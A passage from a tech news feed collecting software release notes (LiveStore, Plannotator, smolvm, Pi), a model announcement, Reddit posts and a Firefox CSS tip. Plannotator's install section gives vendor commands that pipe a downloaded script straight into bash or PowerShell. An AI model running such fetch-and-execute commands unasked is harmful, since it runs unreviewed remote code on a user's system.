  | Gguf's: https://huggingface.co/LiquidAI/LFM2.5-24B-A2B-GGUF Free Demo: https://playground.liquid.ai "LFM2.5-24B-A2B is a 24B-parameter reasoning model with only 2B active parameters, built for fast, private agents on-device. It is the largest and final model in the LFM2.5 family, which now spans two orders of magnitude: from LFM2.5-230M to LFM2.5-24B-A2B.
  - Best-in-class agent : Competitive with Qwen3.6-35B-A3B, a model with ~50% more total and active parameters, on agentic and tool-use tasks, scoring 48.09 on LiveClaw versus 38.19.
  - Reasoning at MoE speed : Always thinks before it answers. With only 2B active parameters per token, each reasoning token is cheap.
  - Efficient inference : Runs up to 1.7× faster than comparable MoEs on-device, with 184 tok/s on an Apple M5 Max and up to 21K output tok/s on a single NVIDIA B300 GPU.
  LFM2.5-24B-A2B is a general-purpose text-only reasoning model with the following features:
  - Total parameters : 24.0B
  - Active parameters : 2.45B
  - Number of layers : 40 (30 double-gated short convolution blocks + 10 GQA)
  - Experts : 64 per MoE block, top-4 routing
  - Training budget : 36 trillion tokens
  - Vocabulary size : 128,000
  - Context length : 131,072 tokens
  - Languages : English, Arabic, Chinese, French, German, Italian, Japanese, Korean, Portuguese, Spanish, Vietnamese, Thai, Indonesian, Hindi, Russian, Polish
  - Generation parameters :
    
    temperature: 0.1
    
    top_k: 50
    
    repetition_penalty: 1.05"
  submitted by /u/Skyline34rGt
  [link] [comments]
  ---|---
8. 🔗 livestorejs/livestore v0.5.0-dev.1 release
  Changed
  - SQLite schema tables: Fixed Date fields in State.SQLite.table({ schema })
    so their codecs round-trip through SQLite in structs and Schema.Class rows
    while preserving Date checks and transformations, including nullable encoded
    Dates. Thanks @acusti for the original fix
    (#1596,
    #1597).
  - Effect dependencies: Updated the aligned Effect 4 dependency cohort from
    4.0.0 to 4.0.3, including its AI, OpenTelemetry, platform, SQLite, and
    Vitest packages. Applications using Effect should align their dependencies
    to 4.0.3 or a compatible later 4.x release
    (#1669).
  - Contributor meetings: Added the canonical docs schedule for the next two
    fortnightly meetings at 19:00 Berlin, automatic Google Calendar publishing,
    and a stable Riverside room link
    (#1635).
  - Store commits: Fixed the callback form of store.commit and its TypeScript
    overloads, including calls with commit options. Synchronous callbacks return
    an event array that is collected before materialization, and throwing callbacks
    apply no events (#1611,
    #1616).
  - Cloudflare sync telemetry: Added optional Effect tracer layers via otel: layer.
    Telemetry cleanup runs in the background, and finite WebSocket operations and
    DO-RPC pull streams now emit their sync spans
    (#1618).
  - Cloudflare adapter: Track state database ownership and remove obsolete
    tracked state after successful boot, preserving the current state, eventlog
    and untracked files. Failed cleanup is retried on a later boot without
    blocking the completed store
    (#1555).
  - Schema rebuilds: Batched eventlog replay to reduce repeated SQLite page
    writes, including billed row writes on Cloudflare Durable Objects. Replay order
    and recovery from incomplete rebuilds are preserved. Clients can tune the
    event-count batch per runtime with params.stateRebuildBatchSize (a positive
    integer, default 100); lower values trade more queries and writes for smaller batches
    (#1555).
  - State recovery: Interrupted rematerialization is retried from clean derived
    state instead of reopening partial results. Completion is recorded after all
    migration hooks finish. Browser fast-path startup waits for recovery when its
    snapshot is incomplete. The eventlog and pending events are preserved
    (#1605).
  - Cloudflare sync: Serialize push admission through pull publication so an
    accepted event cannot advance the backend head without notifying subscribers
    (#1537).
  - Cloudflare WebSocket sync: Live pulls interrupted after the sync Durable
    Object hibernates now receive their terminal RPC Exit, matching interruption
    behavior before hibernation. Completed and protocol-defected pulls are also
    removed from persisted fan-out state
    (#1418).
  - Cloudflare sync: Fixed live WebSocket pulls stopping permanently after a
    disconnect. Pulls now resume after reconnect without reloading the client,
    and HTTP transport failures also remain retryable. Offline pulls wait for
    reconnection rather than spinning, and resume as soon as the backend reports
    connected. Capped fallback probes cover stale connectivity signals and still
    wake immediately on later disconnect/reconnect transitions.
    Protocol failures stay terminal
    (#1650).
    For the root-cause analysis, thanks @bohdanbirdie.
  - Cloudflare DO-RPC sync: A temporary Durable Object RPC failure no longer
    stops replication for good. A call that Cloudflare marks retryable (and not
    overloaded) now surfaces as IsOfflineError, so the leader retries the pull
    after a jittered exponential backoff (1 s doubling to 30 s) on a fresh stub.
    Interrupted catch-up streams also recover when Cloudflare drops the error
    flags or the stream stalls for 60 seconds, resuming after the last applied
    event. Idle live subscriptions do not time out. Explicit overload and
    non-retryable remote failures keep their previous terminal handling
    (#1462,
    #1649).
  - Removed redundant devenv package entries now owned by the task guard modules.
  - Sync correctness: Prevented later client-session events from crossing an
    older rejected pending prefix, and made leader admission retain explicit
    reservation ownership through queue drain until apply, rejection, or stale
    dropping. Parent contiguity now compares DAG position independently of local
    rebase generation while stale epochs remain checked separately, avoiding
    duplicate materialization and ghost fences during multi-writer rebases
    (#1530).
  - Expo getting-started docs: The manual install command now installs
    @livestore/sync-cf instead of the import subpath @livestore/sync- cf/client,
    which package managers resolved as a git URL and failed to install
    (#1657,
    #1667).
  Breaking Changes
  - Effect 4 / LiveStore 0.5: Upgrade application dependencies and schema APIs
    from Effect 3 to stable Effect 4. Follow the
    0.4 to 0.5 upgrade guide
    for peer packages, schema substitutions, removed utilities, commit callbacks
    and Cloudflare DO-RPC changes
    (#1310,
    #1647).
  - Cloudflare adapter: createStoreDo, createStoreDoPromise and
    makeDoRpcSync take getSyncBackendStub: () => stub instead of
    syncBackendStub. LiveStore calls it for every sync call, because Cloudflare
    leaves a stub broken after many exceptions. Replace
    syncBackendStub: env.SYNC_BACKEND_DO.getByName(storeId) with
    getSyncBackendStub: () => env.SYNC_BACKEND_DO.getByName(storeId)
    (#1462,
    #1649).
  - Store commit callbacks: Callbacks now synchronously return an event array.
    Replace store.commit((commit) => { commit(event) }) with
    store.commit(() => [event]) or store.commit(event)
    (#1611,
    #1616).
  - Rebuild completion tracking: The first open after upgrading from a version
    without the completion marker rebuilds derived state once. No application
    configuration changes are needed. Cloudflare deployments should budget for
    replay duration and row writes. Migration hooks must tolerate retries after
    interrupted rebuilds (#1605).
  - State schema fingerprints: Replaced Effect-internal AST hashing with a
    LiveStore-owned canonical descriptor and a synchronous full-width SHA-256
    fingerprint. No application schema or configuration changes are required.
    The first open after upgrading intentionally creates a new state database and
    rematerializes it once from the event log, so Cloudflare deployments should
    plan for the corresponding row-write usage
    (#1555).
  - Effect dependency compatibility: The peer range is ^4.0.0, excluding
    beta/RC releases. Effect-only upgrades preserve state schema fingerprints,
    but changed event schema hashes can produce warnings on rematerialization
    (#63). Refined
    Schema.DateFromMillis and Schema.Uint8Array retain INTEGER and BLOB storage
    (#1557,
    #1606,
    #1647).
    Thanks @JamieMason for the migration work.
  Internal Changes
  
  For maintainers and contributors:
  - Unit-test tooling: Local mono test unit and devenv tasks run test:unit
    now fail when any package's Vitest process exits nonzero, matching CI.
    Package output streams directly to the terminal instead of being buffered
    (#683).
  - CI composition: Aligned the megarepo setup with the automatic CI worktree
    policy and consolidated devenv resolver from
    effect-utils#1207.
  - Release tooling: Pull-request CI now packs exact-head snapshot candidates
    for forks without secrets. Maintainers can allow npm publication for a fork's
    current and later PR heads with the revocable ci:publish-snapshot label
    (#1559). The trusted
    publisher leaves npm registry configuration unset so actions/setup-node
    does not inject its token-auth placeholder into the OIDC-only job.
  - Effect rc.111 API burndown: Ported the internal Effect surface that moved
    between beta.99 and rc.111 — Schema.TaggedErrorClass →
    Schema.TaggedError, Schema.UnknownFromJsonString →
    Schema.fromJsonString(Schema.Unknown), Schema.toArbitraryLazy →
    Schema.toArbitrary, Schedule.andThen → Schedule.concat, and the
    SchemaIssue constructors that dropped their actual argument. SQLite column
    inference now keys off the open representation annotation instead of the
    removed typeConstructor/meta annotations, and JSON-string columns are
    detected through the application/json content annotation now that
    SchemaTransformation.fromJsonString is a factory rather than a singleton.
    Schema issues no longer carry a toString()
    (Effect-TS/effect#7093), so
    the Durable Object RPC server renders decode failures through
    SchemaIssue.makeFormatterDefault() like the rest of the codebase.
    The @effect/vitest record-arbitrary workaround was dropped because
    Effect-TS/effect#7148 fixed it
    upstream (#1557).
  - Effect rc.113 API burndown: Replaced the removed MessagePack RPC layer
    with SchemaBinary, migrated sockets to the pull reader and scoped writer
    APIs, and updated CLI constructors and schema transformations to their rc.113
    names. The FastCheck-based Vitest.asProp helper was removed; use
    Vitest.live.prop with arbitrary options
    (#1606).
  - Tooling: Shell entry no longer runs the full TypeScript build after
    dependency and generated-source setup. The shared Effect-utils
    otel:profile:setup task captures the strict setup graph through native
    devenv tracing and otelite; otel:verify:setup gates the connected trace
    shape without a repository-local orchestration module
    (#1402).
  - Tooling: Unit-test failures now block merges. The test-unit job ran
    packages/@livestore/webmesh and tests/package-common through
    Effect.ignore on CI, so their failures produced a passing required check.
    Removing that also restores the intent-layer invariant suite as a real gate on
    context/ changes (#1404).
  - Tooling: The DevTools Playwright suite is currently broken (0/15) and
    carries a declared, expiring quarantine entry instead of an unrecorded
    || echo wrapper. Its check does not gate merges yet — the quarantine
    records the failure with a reason, an issue, and an expiry date rather than
    hiding it (#1489).
  - Tooling: Cloudflare sync-provider failures now block merges. All six cf-*
    matrix cells previously exited 0 on failure, which is why the Durable Object
    hibernation guards could not gate merges
    (#1404).
9. 🔗 backnotprop/plannotator v0.28.18 release
  Follow @plannotator on X for updates
  
  Missed recent releases? Release | Highlights
  ---|---
  v0.28.17 | The Inbox on iPads and narrow windows, the reply bar no longer cuts off "Keep open", a Pi crash on /reload fixed
  v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
  v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
  v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
  v0.28.12 | Update notices and plannotator update, attach any file to an Inbox message, questions with context, links to attached files
  v0.28.11 | plannotator inbox --help prints a full guide for agents, and the plannotator.ai/inbox install prompt
  v0.28.10 | The Inbox over your tailnet with plannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
  v0.28.9 | Large Inbox messages through plannotator inbox mcp fixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
  v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
  v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
  v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
  v0.28.5 | Several files in one review, the plannotator tool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
  
  What's New in v0.28.18
  
  Until now an agent only used the Inbox if you had connected it by hand and told it when the Inbox was the right place. This release does both for you: plannotator inbox connects the agents it finds on your computer, and each agent is told, in a line or a short note, to bring you decisions and finished work there while you are away. Code review gets rendered Markdown views, started by @leostera in his first contribution. The rest is Inbox reading and navigation, a Settings page in sections, and a handful of fixes. 25 PRs in all, one from a first-time contributor.
  
  plannotator inbox connects your agents
  
  When you run plannotator inbox (not --background, which is how agents start it), it now finds the agents on this computer that are not connected yet, connects them, and says so on the terminal:
```
Connected Codex, Gemini CLI and Cursor to the Inbox (Claude Code was already on).
```
  Codex, Gemini CLI, Amp and Windsurf/Devin get their own mcp add. Cursor, Kiro and the Claude desktop app get one plannotator-inbox key in their JSON config, and every other byte of that file stays as it was. Pi and OpenCode with Plannotator's extension or plugin get the inbox tool switched on, and Claude Code already has it through the plugin. Each entry runs <your plannotator binary> inbox mcp, and the agent uses it from its next session.
  
  A later run connects an agent you installed since, and names it once ("Connected Amp to the Inbox (new on this computer)"). An agent you turned off, or whose entry you removed, is never added back by itself, and an existing plannotator-inbox entry that runs something else is never replaced. PLANNOTATOR_INBOX_CONNECT=0 skips the step. plannotator uninstall removes only the entries it recorded adding, and gives each JSON file back exactly as it was; --dry-run lists them first.
  - #1885
  Agents are told when to use it
  
  Connecting an agent is half of it. The tool descriptions explained how to use the Inbox but never said when, so agents rarely reached for it unprompted. Four changes cover that:
  - The tool and MCP text now say when. The person may not be watching; a decision only they can make goes in a :::question, and the agent keeps working; finished long work goes with its files attached; ask in the chat when the person is there; never send routine progress. send_message no longer tells agents whose reply arrives by itself to call wait_for_reply. We checked the wording against scripted agent runs across nine scenarios, including the two where the Inbox is the wrong choice. (#1876)
  - A one-line reminder at session start. Once you have run the Inbox, a session that has the inbox tool gets one fixed line: "Plannotator Inbox is on: when you finish long work, or need a decision the person isn't here to give, send it with plannotator_inbox send_message and keep going. Their reply comes back here." Claude Code and Pi get it once per session, OpenCode on each request. It never changes during a session, so it does not break the prompt cache. Turn it off with inboxReminder in ~/.plannotator/config.json. Claude Code also gets the plannotator_inbox tool before you have ever opened the Inbox: its first call starts the Inbox in the background, with no browser tab. (#1886)
  - A note in each agent's instructions, with your yes. The first time you open the Inbox after it connected your agents, a card asks once whether to add a short marked section to each agent's own instructions file (~/.claude/rules/plannotator-inbox.md, Codex's AGENTS.md, GEMINI.md, Pi's instructions file, and OpenCode's AGENTS.md only when you already have one). It shows each file before writing. A note you edited is never overwritten, and removing a note gives the file back byte for byte. plannotator inbox --notes codex,gemini does the same from the terminal. (#1889)
  - Settings → Agents. One group per agent found, with up to three switches: Reaches the Inbox, Reminder at session start, and Note in its instructions. A change applies to that agent's next session. Agents not found fold under "Not found on this computer", with the command or link to connect each by hand. (#1889)
  The plannotator skill's Inbox section is now short and points agents at plannotator inbox --help for the details, which keeps the skill from drifting out of date (#1887). And an OpenCode 2 bug that shut down the Inbox reply wake's event subscription at setup is fixed: the wake leaned on a fallback, and where that fallback failed, a reply never reached an idle session (#1891).
  - #1885, #1886, #1889, #1876, #1887, #1891
  Rendered Markdown in code review
  
  A Markdown file in a code review used to be readable only as a line diff. Each Markdown file now has a view menu in its header with three choices: Source (the line diff, as before), Changes (the rendered document with added, removed and changed sections marked, unchanged runs folded and source lines in a gutter) and Read (the whole new version rendered, with no diff marks). A view you pick becomes the starting view for every other Markdown file you have not set by hand, and is remembered for the next review. P steps the current file through the views.
  
  Select text in a rendered view to comment on it. The comment is a file comment that carries the quoted text, so the agent sees exactly what you meant, and the export, the sidebar and a PR review all show the quote. Images load from the revision on screen. In a PR review, remote images wait behind "Load remote images", so opening someone else's Markdown does not tell a tracking pixel your address. Mermaid and Graphviz fences show as code here, which keeps the review page as light as it was.
  
  @leostera wrote the first version, a Preview/Diff toggle for Markdown files, as his first contribution, and it grew into the menu above during review.
  - #1879, by @leostera
  Reading in the Inbox
  - A new message in the thread you have open counts as seen. Before, a message that arrived while you were reading stayed bold and "new" even though it was right in front of you. It now counts as seen once its first lines have been on screen for a second, while the tab is visible, the window has focus and nothing covers the thread. At the end of the thread the view scrolls just far enough to show it; elsewhere, the "↓ N new" pill counts it. Screen readers hear "New message from ". (#1890)
  - The row you open stays put. Opening a New row used to send it to the folded Quiet section a moment after the click, taking keyboard focus with it. While a thread is open, the list's rows no longer move. When you close the thread, the list settles into place with a short slide (none under reduced motion), and agent activity that arrived while you read waits behind "N new · Show". (#1875)
  - A way back to the list with a file open. With a file open beside a thread, the list and sidebar are hidden, and the first control at the top left was Archive. The thread header now leads with ‹ Inbox (or the project's name), which closes the file and brings the list back with focus on the thread's row. The reply box's chips also wrap in that narrower column instead of spilling out. (#1871, #1881)
  - Attachments in the message header. A message with files shows "📎 3 attachments · 1 changed" in its sender line. Click it to see the tiles right under the sender, without scrolling to the end of a long message. (#1869)
  Inbox Settings, archived threads, and light or dark
  - Settings in sections. Settings is now a page with General, Agents, Devices, Archived, Storage and About, each at its own address (#settings/agents). General holds the theme, notifications and the sound; Devices holds Over your tailnet; About holds the version and updates. The sidebar steps aside while Settings is open. Old #settings links still land. (#1883)
  - Archived threads leave the list. They used to sit in Quiet with everything you had merely read. They now live in Settings → Archived, newest first, with Unarchive , which opens the thread back in the list. If an agent writes in an archived thread, the thread comes back to the list while something waits on you, you can answer without unarchiving it, and it goes back to Archived once handled. (#1874)
  - Light and dark. A sun or moon button at the right end of the sidebar's Settings row flips the theme; Settings → General has Light, Dark and Match system. It is the same preference plan review, code review and annotate use, so a choice in one carries to the others. (#1878)
  - The Decisions page's project switch shows counts. The plain dropdown is now a list that shows each project's folder and how many decisions are waiting and settled. (#1873)
  Quotes render as one quote
  
  A block quote with blank > lines, a code fence or a list inside it was split into one quote per line: the bar broke into segments, fences showed as literal backticks, and the code read as prose. A run of > lines is now one quote, with real code blocks, lists and nested quotes inside it. This applies to plan review, annotate and the Inbox.
  
  Two changes you might notice. A line like #Title (no space after #) is no longer a heading, following CommonMark and GitHub, so #123 at the start of a line keeps its issue link. And in a plan diff, an edit anywhere inside a quote that holds a code fence shows the whole quote as changed.
  - #1868
  The plannotator tool is on by default in Oh My Pi
  
  When our Pi extension runs inside Oh My Pi, the plannotator agent tool is now on by default. Oh My Pi lists an extension tool as one short line and loads its schema only when needed, so the tool costs about 50 tokens there, against about 780 on every request in plain Pi. Plain Pi and OpenCode 2 stay off by default. PLANNOTATOR_AGENT_TOOL and agentTool in config.json still override it either way.
  - #1870, following #1814 from @tedtramonte
  Additional changes
  - Long question choices can be picked. A choice longer than 200 characters was refused in the Inbox ("is not one of the question's choices"), and in plan review the pick saved but never showed. Both work now, and answers saved by older builds show their pick again. (#1888)
  - Stopped: no is not a stop. An agent that filled in Stopped: no, none or n/a put its thread in "Stopped on you". A bare negative word is now read as no stop, on Holds up: too. Threads already listed that way stay where they are. (#1877)
  - Mark read fixes. The note Mark read sends the agent no longer counts as your reply, so news that arrives after a Mark read shows as New. Mark read on an archived thread that came back sends it to Archived as the toast says. Undo reopens only the questions that Mark read closed. These were found by a new model of the Inbox's thread states, checked against the store after every step. (#1882, #1884)
  - The annotation toolstrip stays on top. In the Inbox's file view, scrolling put the document over the Select / Pinpoint / Markup toolstrip, and over the stepping bar's file list. (#1880)
  - jj reads file paths literally. In a jj review, a file whose name contains |, ~ or quotes was read as a fileset expression, so the review could show another file's contents. (#1879)
  Install / Update
  
  macOS / Linux:
```
curl -fsSL https://plannotator.ai/install.sh | bash
```
  Windows:
```
irm https://plannotator.ai/install.ps1 | iex
```
  Claude Code Plugin: The plugin and the plannotator binary update separately, so run the install script above as well. In a terminal:
```
claude plugin marketplace update plannotator
claude plugin update plannotator@plannotator
```
  Then restart Claude Code. Inside Claude Code, run /plugin marketplace update plannotator, then open /plugin → Installed → plannotator → Update now.
  
  Pi:
```
pi update --extensions
```
  OpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
  
  What's Changed
  - Inbox: attachments in the message header by @backnotprop in #1869
  - Pi extension: the plannotator tool is on by default in Oh My Pi by @backnotprop in #1870
  - Quotes: one quote per run of > lines, with code fences and lists inside by @backnotprop in #1868
  - Inbox: a way back to the list while a file is open beside the thread by @backnotprop in #1871
  - Inbox: tell agents when to use it (eval-backed instruction text) by @backnotprop in #1876
  - Inbox: a project switch on the Decisions page that shows each project's counts by @backnotprop in #1873
  - Inbox: light/dark toggle on the Settings row, and a Theme row in Settings by @backnotprop in #1878
  - Inbox: archived threads leave the list for a Settings panel with Unarchive by @backnotprop in #1874
  - Inbox: the reply box's skip chip wraps inside itself at any width by @backnotprop in #1881
  - Inbox: a bare negative word on Stopped: or Holds up: is no stop by @backnotprop in #1877
  - Inbox: keep the annotation toolstrip above the attached document by @backnotprop in #1880
  - Inbox: the thread-state model, checked against the store, with trace fixtures by @backnotprop in #1882
  - Inbox: the row you open stays put; the list settles when the thread closes by @backnotprop in #1875
  - Inbox: fix the thread-state model's violations A, B and C by @backnotprop in #1884
  - Questions: a choice longer than 200 characters can be picked by @backnotprop in #1888
  - Inbox: Settings in sections by @backnotprop in #1883
  - Skill: a short Inbox section that points at plannotator inbox --help by @backnotprop in #1887
  - Inbox: a new message in the thread you have open counts as seen on sight by @backnotprop in #1890
  - Review: add rendered Markdown previews by @leostera in #1879
  - Inbox: plannotator inbox connects the agents on this computer by @backnotprop in #1885
  - OpenCode 2 Inbox wake: keep the event subscription when the tool transform is lazy by @backnotprop in #1891
  - Inbox: a one-line reminder at session start, and Claude Code's Inbox tool before the first run by @backnotprop in #1886
  - Inbox: the note in each agent's instructions, the first-open card, Settings → Agents by @backnotprop in #1889
  - Inbox: seen-on-sight DOM test no longer depends on wall-clock time by @backnotprop in #1892
  - Inbox: a restart from an older Inbox never connects agents by @backnotprop in #1894
  New Contributors
  - @leostera made their first contribution in #1879
  Contributors
  
  @leostera built rendered Markdown previews for code review (#1879), his first contribution to the project. His Preview/Diff toggle, with the full document rendered through the shared Markdown renderer, is the base the Source / Changes / Read views grew from.
  
  @tedtramonte reported in #1814 that Ask this session was missing in Oh My Pi and confirmed the fix. Making the plannotator tool default to on in Oh My Pi (#1870) is a follow-up to that report.
  
  Full Changelog : v0.28.17...v0.28.18
10. 🔗 r/LocalLLaMA Is everyone in here buying up smart TVs now? rss
  
  | Anthropic says we can run Gemma4 26b a4b with only 14 smart tvs. submitted by /u/SporksInjected
  [link] [comments]
  ---|---
11. 🔗 r/LocalLLaMA It's been too quiet on the other side of the Pacific rss
  
  | submitted by /u/Nunki08
  [link] [comments]
  ---|---
12. 🔗 r/LocalLLaMA Anyone feel like reverse-engineering CUDA? rss
  
  I've been reading about all these modders using AI to reverse-engineer games and software. I've been trying out photocraft and gridcraft and have just watched a GTA5 mod featuring Sonic. It's pretty damn impressive.
  
  As a struggling AMD Radeon owner I'd love to see AI generated open source CUDA implementation.
  
  Not only do I dislike NVIDIA, but there's delicious irony in using CUDA cores to do it.
  
  Anyone up for the challenge?
  
  submitted by /u/Odd-World4925
  [link] [comments]
13. 🔗 smol-machines/smolvm smolvm v1.27.3 release
  What's Changed
  - Preserve macOS machine layer mounts across peer operations by @kcosr in #1738
  - Clean up after an SDK machine delete the way the CLI does by @BinSquare in #1746
  - Return 409 for branching a machine that was not started branchable by @BinSquare in #1748
  - Hand a named machine's layers lease to its VMM by @BinSquare in #1747
  - Shut a VM's guest down cleanly when its owner process exits by @BinSquare in #1749
  - Fix guest stalls on machines booted from a pack under heavy file and mmap load by @BinSquare in #1743
  - Bump version to 1.27.3. by @BinSquare in #1751
  New Contributors
  - @kcosr made their first contribution in #1738
  Full Changelog : v1.27.2...v1.27.3
14. 🔗 r/LocalLLaMA Anthropic is doing free publicity for GLM again rss
  
  | https://www.anthropic.com/research/distillation-defenses submitted by /u/No-Point1424
  [link] [comments]
  ---|---
15. 🔗 Ampcode News Take Puck with You rss
  
  You can now talk to Puck from ChatGPT, Claude, and other agents via MCP.
  
  After developing an idea with ChatGPT's voice mode on a walk, send it directly to Puck for implementation. Puck knows your projects in Amp and routes it to the right orb. In the same conversation, you can check in on your work in Amp directly from ChatGPT.
  
  Puck MCP offers two tools: puck for interacting with your Puck in Amp, and orbs for showing an interactive view of your running orbs with links to their portals.
  
  You're talking to the same Puck you use in Amp. It can look through your threads, find earlier work, and coordinate your agents.
  
  To connect, open Settings > Puck. Click Add to Claude, or copy https://ampcode.com/mcp into ChatGPT or another MCP client, then sign in with your Amp account.
  
  See Use Puck in Other Apps for details.
16. 🔗 muffinman Show page titles on Firefox's pinned tabs rss
  I love vertical tabs. I used Tree Style Tab for years, then switched to Sidebery and recently to Firefox's native vertical tabs. I like them, but I was annoyed how pinned tabs looked. By default they are collapsed, side by side, with only their favicon visible:
  
  Luckily, there is a way to change that by adding some custom CSS. After applying it, my tabs looked like this:
  
  CSS
  
  I couldn't find an existing snippet anywhere, and it took me some trial and error to get it right. Here is the CSS. I hope you find it useful.
```
/* Show title */
#pinned-tabs-container[orient='vertical'] .tab-label-container {
  display: flex !important;
  margin-right: 1.5rem;
}

/* Change tabs layout to be stacked under each other */
#pinned-tabs-container[orient='vertical'] {
  --pinned-slot-display: block;
}

slot[part~='items-wrapper'] {
  display: var(--pinned-slot-display, flex) !important;
}

/* Remove extra vertical padding */
#pinned-tabs-container > .tabbrowser-tab {
  padding-block: 0 !important;
}

/* Move the green status dot to the right */
#pinned-tabs-container .tab-content:is([titlechanged], [attention]) {
  background-position: right 1.25rem center !important;
}

/* Make space for the green status dot */
#pinned-tabs-container .tab-icon-stack {
  margin-inline: 0.5rem;
}
```
  Tested on Firefox 157 on macOS.
  
  How to use userChrome.css
  
  To customize Firefox's UI via CSS, you'll need the following:
  - In Firefox, open the about:profiles page and open your profile's Root Directory in your file manager.
  - Inside your profile folder, create a folder named chrome.
  - Inside it, create userChrome.css (if it doesn't already exist).
  - Add your custom CSS to it.
  - Open about:config, find toolkit.legacyUserProfileCustomizations.stylesheets and set it to true.
  - Restart Firefox.
  If you need more details, there is a great website that explains it in detail.
October 12, 2026
1. 🔗 IDA Plugin Updates IDA Plugin Updates on 2026-10-12 rss
  IDA Plugin Updates on 2026-10-12
  
  New Releases:
  Activity:
  - efiXplorer
    
    9e3b40a2: chore: update guids submodule (#150)
  - ida-free-mcp
    
    e43baf21: chore: bump version to 1.1.3
    
    c9d15d98: Merge pull request #8 from danigonzalezrr/fix/macho-leading-underscore
    
    6adf2c61: Merge pull request #7 from imissapixel/fix/decompile-disassembly-focus
  - mcrit-plugin
    
    1fdb120f: Merge pull request #40 from r0ny123/binja-match-graph-requests
    
    1a334183: Merge main into binja-match-graph-requests
    
    173b1e4d: Merge pull request #37 from r0ny123/binja-chunked-labels
    
    6657f1e5: Merge main into binja-match-graph-requests
    
    4ebd1033: Merge main into binja-chunked-labels
    
    3e043456: Merge pull request #24 from familiary/dependabot/github_actions/actio…
    
    bfb0dab1: Continue a stopped label fetch with the next click
    
    906fc0b3: Merge pull request #34 from r0ny123/mcrit-connection-reuse
    
    2006e57c: Merge main into binja-chunked-labels
    
    6939992a: Merge main into mcrit-connection-reuse
    
    e619f5d8: Merge pull request #35 from r0ny123/binja-native-tasks
    
    ce4a626a: Merge main into binja-native-tasks
    
    d03d8fe6: Merge main into mcrit-connection-reuse
    
    65382db3: Merge pull request #33 from r0ny123/binja-label-fetch
    
    d90e9257: Merge main into binja-label-fetch
    
    3a987baa: Merge pull request #30 from r0ny123/follow-ups
    
    1a993185: Merge main into follow-ups
    
    c816fea1: Merge pull request #31 from r0ny123/binja-ui-thread
  - PatternScanner
    
    9456e1c3: Fix review findings: X docs, bounded parsing, no-exceptions builds…
    
    7d813d43: Merge pull request #12 from scizzydo/arm-instructions
    
    0350b45b: Fix ? wildcards in register-offset and bare-? loads; /d chain past FP…
    
    c5c72cb9: Encode the remaining arm64 instructions with full wildcard support
    
    f08a8935: Simplify README; move detailed docs to docs/
    
    767a9b31: Merge pull request #4 from scizzydo/scanner-overhaul
    
    d4dc2a5b: test_arm: NOPs inside an ADRP chain
    
    f4bd686c: Fix arm64 encodings and /d decoding, nibble wildcards, plugin crash
    
    b6136478: Encode arm64 B.cond, CMP/CMN/TST, AND/ANDS/EOR, byte/half/unscaled lo…
    
    37710660: Encode arm64 STP and MOV; warn about unsupported lines in the IDA plugin
    
    3b2a1b35: CI: library tests only
    
    92b19baf: Add CI: library tests and IDA plugin build on Windows and macOS
    
    480c303d: test_artifacts: scan every pattern from one function, add LTO builds
    
    10006c5f: Share the pattern parsers; test for compile-time leftovers in binaries
    
    61da3339: Add IDA plugin: search databases with PatternScanner patterns
2. 🔗 smol-machines/smolvm smolvm v1.27.2 release
  What's Changed
  - Bump the Nix package to 1.27.0 by @BinSquare in #1728
  - Share one extraction across concurrent SDK checkpoint restores by @BinSquare in #1727
  - Let machine update replace the egress allow list exactly with --reset-allow-list, and show the list in machine ls and status JSON by @BinSquare in #1731
  - Fetch a registry image on the host whenever the guest's network cannot reach the registry, not only when it has none by @BinSquare in #1732
  - Fetch a cache disk base over parallel ranged requests and share one fetch among concurrent creates by @BinSquare in #1733
  - Name GHCR's blob host in registry_pull_hosts so an allow list built from it can pull ghcr.io images in-guest by @BinSquare in #1734
  - Let a machine with staged mounts be branched: the branch keeps the working copies and never synchronizes them back by @BinSquare in #1736
  - Bump quinn-proto to 0.11.19 for RUSTSEC-2026-0338 through 0342 by @BinSquare in #1742
  - Bump version to 1.27.2. by @BinSquare in #1730
  Full Changelog : v1.27.1...v1.27.2
3. 🔗 earendil-works/pi v1.2.0 release
  New Features
  - Per-key OpenRouter model lists : with an OpenRouter key, Pi lists only the models that key may use, with the key's context size, max output, and prices, including regional endpoints set in models.json. See OpenRouter.
  - Published configuration schemas : add $schema to settings.json, models.json, keybindings, and themes for editor validation and completion. See Settings, Models, Keybindings, and Themes.
  - Clipboard copies over remote sessions : PI_CLIPBOARD_OSC52=1 sends copied text to a remote client's clipboard when Pi cannot detect the remote session, such as a multiplexer attached from another machine. See Pi Process Configuration.
  - Codemode improvements : tool declarations show input constraints such as integer, minimum/maximum, and default, and codemode rows show elapsed and total time. See Codemode.
  - before_agent_start for extension-triggered runs: runs started by pi.sendMessage(..., { triggerTurn: true }) go through the same setup as prompts. See Events and concurrency.
  Breaking Changes
  - Published generated configuration schemas for models, settings, keybindings, and themes at https://pi.dev/schemas/*.schema.json. The theme schema moved to https://pi.dev/schemas/theme.schema.json; themes loaded during startup now receive the same schema validation as later reloads. Update theme $schema references, define reusable colors under vars, and remove unsupported metadata (#9880, #10751 by @christianklotz)
  - Changed before_agent_start to also fire for runs started by pi.sendMessage(..., { triggerTurn: true }) while idle. BeforeAgentStartEvent is now a union on messageType: "user" events carry prompt and images, and "custom" events carry the starting message and no prompt. Messages returned by handlers are added to both kinds of run, and pending deliverAs: "nextTurn" messages are delivered with the custom-message run. Handlers that should act only on user prompts must check event.messageType === "user" (#10267, #5581, #10739 by @davidbrai)
  - Changed the session to count as busy while a run starts, including during before_agent_start handlers: ctx.isIdle() is false, pi.sendMessage() queues into the starting run instead of starting a second run that failed with "Agent is already processing", pi.sendUserMessage() requires deliverAs, and an abort requested meanwhile aborts the run once it starts (#10739 by @davidbrai)
